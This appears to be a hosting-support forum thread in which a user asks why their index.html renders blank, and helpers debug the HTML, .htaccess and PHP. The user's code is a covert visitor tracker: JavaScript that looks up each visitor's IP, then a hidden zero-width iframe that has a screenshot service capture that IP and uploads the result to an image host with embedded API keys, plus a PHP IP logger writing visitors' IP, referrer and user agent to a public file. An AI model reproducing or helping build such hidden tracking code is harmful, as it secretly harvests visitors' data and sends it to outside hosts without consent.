Index.html is blank

internet-diving.infinityfreeapp.com

when i go to the home page all i see is the title and lower bar. There’s meant to be an image in the middle

when I visit internet-diving.infinityfreeapp.com/index.html I get just a blank screen. There is code in the file, I have checked. .htcaccess has the correct code as well

the files are in the correct folder, and not capitalised. I have tried clearing my browser cache, i have tried other browsers, I have tried different machines. They all come back the same

An HTML file should not be returning nothing, unless of course it’s empty.
Can you share a screenshot of your htdocs folder, and the contents of the HTML file and your .htaccess?

3 Likes

when I view the page source of your blank page I see this

<script type="application/javascript">
function getIP(json) {
document.write('My Public IP address is: ', json.ip);
document.write('<iframe src="https://api.imgbb.com/1/upload?key=4901ede8299e3c234ce23590aa71add3&name=IDL&image=https://api.screenshotmachine.com?key=c723ba&url=http://'+json.ip+'&dimension=1024x768'" frameborder="0" sandbox="" width="0"></iframe');
}
</script>
<script type="application/javascript" src="http://Ipinfo.io/?format=json&callback=getIP"></script>

there are no doctype html body tags etc, just some script

7 Likes

Your HTML file is loaded in successfully, but actually rendering the content doesn’t work.

When I check the Console tab in my browser, I see two errors:

Uncaught SyntaxError: missing ) after argument list
Blocked loading mixed active content “http://ipinfo.io/?format=json&callback=getIP”

The first error tells me that there is an syntax error in your Javascript code. The second error is that my browser refuses to load the ipinfo.io Javascript snippet because you are trying to fetch it over HTTP from an HTTPS page, which is blocked for security.

Please fix your code and fix the ipinfo.io URL to use HTTPS, and it should work.

6 Likes

.htcaccess contents

DirectoryIndex index.php index.html iplogger.php logger.html phpinfo.php

RewriteEngine On
RewriteCond %{QUERY_STRING} ^(.*)i=[^&]+&?(.*)$ [NC]
RewriteRule ^(.*)$ /$1?%1%2 [R=301,L]

Picture1

Anyone?

You still did not fix the error in your JS code:

Uncaught SyntaxError: missing ) after argument list (at index.html:4:179)

Also, that image is so small and blurry, its basically useless

6 Likes

Did you check my answer?

You only replied something about .htaccess files after that. But the issue you’re having does not look like a .htaccess issue to me.

And right now, your index page doesn’t return any content at all, because the PHP code simply doesn’t have any echo, print or other statements that can show something.

5 Likes

I have made some changes. What makes this difficult for me is that, despite spending 25+ years of my life trying to learn, I can’t read/do code.

I know that I have to put an echo into my php file - but where in the file do i put it?

This is the index.html as it stands now:

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Your Title Here</title>
</head>
<body>

<type="application/javascript">
  function getIP(json) {
    document.write('My Public IP address is: ', json.ip);
    document.write('<iframe src="https://api.imgbb.com/1/upload?key=4901ede8299e3c234ce23590aa71add3&name=IDL&image=https://api.screenshotmachine.com?key=c723ba&url=http://' + json.ip + '&dimension=1024x768" frameborder="0" sandbox="" width="0"></iframe>');
  }
</script>

<!-- Use the async attribute to load the script asynchronously -->
<type="application/javascript" src="https://ipinfo.io/?format=json&callback=getIP" async></script>

</body>
</html>

That’s not valid. You forgot the “script” part of it. Also, HTML5 does not require the type attribute for JavaScript within an HTML5 document.

It should look like this:
<script>

Same thing on the script you have again later. Get rid of the type attribute, and add the word script. Kind of like:

<script src= "… ">

Also, I don’t see any PHP code in the sample you showed. What do you want PHP to do?

4 Likes

This is the php file

<?php
$client = @$_SERVER['HTTP_CLIENT_IP'];
$html;

$log = 'logger.html';
$ip = $_SERVER['REMOTE_ADDR'];
$page = $_SERVER['REQUEST_URI'];
$refer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
$date_time = date("Y-m-d H:i:s", time() - date("Z"));
$agent = $_SERVER['HTTP_USER_AGENT'];

$fp = fopen("logger.html", "a");
fputs($fp, "
Date/Time: $date_time<br>
IP: $ip<br>
Page: $page<br>
Refer: $refer<br>
Useragent: $agent<br><br>
");
flock($fp, 3);
fclose($fp);
?>

Where is that PHP file?

Also, NEVER NEVER NEVER log user information to a public file. Please use a database. Not only is that incredibly insecure, opening yourself up to lawsuits and legal action, but it’s also a great way to slow your website down as that file gets really big and potentially get yourself suspended for having such a huge file.

4 Likes

Database being created at the moment

Database made in php-myadmin. index.php now directs to the database there (I hope)

This topic was automatically closed 7 days after the last reply. New replies are no longer allowed.